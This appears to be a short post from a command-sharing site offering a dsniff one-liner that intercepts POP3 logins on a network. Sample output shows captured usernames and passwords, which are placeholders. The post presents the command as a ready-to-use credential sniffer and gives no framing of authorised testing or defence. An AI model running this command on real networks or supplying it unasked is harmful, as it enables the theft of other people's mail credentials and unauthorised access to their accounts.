Sniff ONLY POP3 authentication by intercepting the USER command

dsniff -i any 'tcp port pop3'
dsniff is general purpose password sniffer, it handles *lots* of different protocols, but it also handles tcp-style expressions for limiting analyzed traffic - so I can limit it to work on pop3 only.
Sample Output
dsniff: listening on any [tcp port pop3]
-----------------
11/18/10 10:41:01 tcp xxx.48323 -> remote.host.110 (pop3)
USER user1
PASS pass-for-user1

-----------------
11/18/10 10:41:28 tcp xxx.48321 -> other.host.110 (pop3)
USER user2
PASS pass-for-user2

1 Alternatives + Submit Alt

What do you think?

Any thoughts on this command? Does it work on your machine? Can you do the same thing with only 14 characters?

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